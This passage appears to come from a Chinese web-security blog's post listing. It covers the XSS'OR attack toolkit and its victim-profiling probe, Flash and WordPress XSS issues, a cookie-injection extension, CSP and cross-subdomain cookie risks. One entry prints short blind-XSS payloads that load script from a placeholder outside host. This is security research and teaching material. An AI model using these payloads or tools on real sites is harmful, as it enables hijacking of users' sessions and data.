XSS’OR 开源了。采用 BSD 开源协议，很宽松，不限制传播与商业化，留下作者版权就好。在下面这个 GitHub 页面上，你不仅可以得到 XSS’OR 的源码，还可以了解如何自己搭建一个。
https://github.com/evilcos/xssor2
简单说明下：
标签：XSS
前端黑在线工具 XSS’OR
这是一个在线免费的前端黑工具，目前主要包含 3 大模块：
1. Encode/Decode
加解密模块，包含：前端黑相关的加解密，代码压缩、解压、美化、执行测试，字符集转换，哈希生成，等。
2. Codz
代码模块，包含：CSRF 请求代码生成，AJAX 请求代码生成，XSS 攻击矢量，XSS 攻击 Payload，等。
3. Probe
探针模块，为了平衡，这是一个最基础的探针，且每个 IP 每天都可以生成一个唯一探针，使用者可以用这个探针发起攻击测试（如：XSS、钓鱼攻击等），探针可以获取目标用户的基本信息，使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。
关于浏览器混合内容的安全性
Seebug Paper之前收录了三篇文章有些关联性，分别是：
- 绕过混合内容警告 – 在安全的页面加载不安全的内
http://paper.seebug.org/112/ - 检测本地文件躲避安全分析
http://paper.seebug.org/87/ - 基于浏览器的指纹识别：影响和缓解措施
http://paper.seebug.org/64/
有个关键点是：混合内容的安全性。
这里提到的主要是协议的混合，如https/http/file/res/mhtml等，现代浏览器逐渐开始隔离这些协议，比如https下加载http的内容时，给出安全提示；再比如“修补”file/res/mhtml这些协议在http协议的网页里带来的安全问题，如本地文件探测（常见的是杀软探测）。
隐蔽的战场—Flash Web攻击
这个议题是为本次 XCon 2015 准备的，讲完 XCon，办完自家的 KCon 后，我终于有点时间能来更新点内容了。
Flash Web 攻击是 Web2.0 Hacking 的一个重要分支，不过纵观全球，研究这个领域的人相对来说是很少的，这个领域有几个特殊性：
1. 需要较强的背景知识，虽然 Flash 的脚本语言（ActionScript）与 JavaScript 类似
2. 权限模型比起 DOM 的权限来说复杂得多
3. Flash 的开发安全更加不受重视
4. HTML5 不出两年就会淘汰掉 Flash，导致这个领域已经是日落帝国
WordPress最新DOM XSS漏洞[4.2.2 fix]
WordPress 被爆 DOM XSS 漏洞，数百万站点受影响，危险等级为极高。
该漏洞存在于 WordPress 流行的 Genericons example.html 页面中，默认主题 Twenty Fifteen 及知名插件 Jetpack 都内置了该页面，由于 example.html 使用了老版本存在 DOM XSS 缺陷的 jQuery，且使用不当，导致出现 DOM XSS，这种攻击将无视浏览器的 XSS Filter 防御。
Continue reading
关于WordPress <4.1.2 & <=4.2两个存储型通杀XSS
WordPress 双连发存储通杀 XSS 就这样爆爆爆！可惜之余，说下：
- 这种字符集不一致导致的问题会是个普遍问题，不仅是导致 XSS；
- 要完美通杀或 IE 通杀得理解 CSS 导致的一些本质特性；
- 截断问题真是个可爱问题；
- WordPress 的过滤机制真可爱；
- 我们团队的应急真赞；
具体链接：
https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/
Cookie利用神器：CookieHacker
看到那么多苦逼的跨站师在问Cookie利用工具，不忍心，还是把自己写的Chrome扩展开源出来吧，功能极简，仿造我之前文章《我的渗透利器》里提到的Original Cookie Injector for Greasemonkey。
效果
在Chrome下按alt+c快捷键打开如下图：
XSS盲打思路1：jQuery我爱你
后台灰盒+exp被限制40字符+script等标签被过滤。
很多人祭出0day bypass，没必要。先分析场景。最爽的是我看到场景使用了jquery，在昨天的一个攻击场景下，我推测那后台用jquery是必然的。
于是简短强悍的exp如：
1. eval($.get('//xxxx.com'))
2. $.getScript('//xxx.com') // 这个最牛逼，我当时没意识到，pw实战发现
思想是：攻击得原生态，依赖场景，这个思想在我们那本《Web前端黑客技术揭秘》第七章有鲜活说法。
大家举一反三吧。
CSP1.0进入Firefox
http://threatpost.com/csp-1-0-added-to-firefox-to-block-xss-attacks/
X-Content-Security-Policy头会变为：Content-Security-Policy。
我没测试，不过据说Firefox、Chrome、IE10（沙箱模式）都支持了这个头。CSP1.0 还支持内嵌的样式的屏蔽，这些目的都是为了防御XSS。
我们的《Web前端黑客技术揭秘》最后一章有详细说明（http://vdisk.weibo.com/s/GDqYZ，开放），并认为CSP最终会成为XSS的终结者。不过这需要那些网站配合浏览器的CSP策略了，不仅能保证代码编写规范，也能保证前端安全性。
:)
你的Cookie安全吗？！
上篇文章（http://evilcos.me/?p=251）提到了跨子域安全问题，这已经是一些互联网大公司的宿命？我真想知道是哪位前端工程师或架构师将这种为了便利而滥用跨子域技巧的思想带到本该分离的业务里？这样埋下的种子总有一天会变成雷。这个技巧最常见的有两种模式：
1. 人人网那样，几乎所有子域都嵌入一段通用脚本，设置document.domain=”renren.com”；
2. 大多数网站（腾讯、百度、新浪等等）的做法：子域的某路径下有个ajaxproxy.htm或proxy.html等类似文件名的文件，里面的代码是：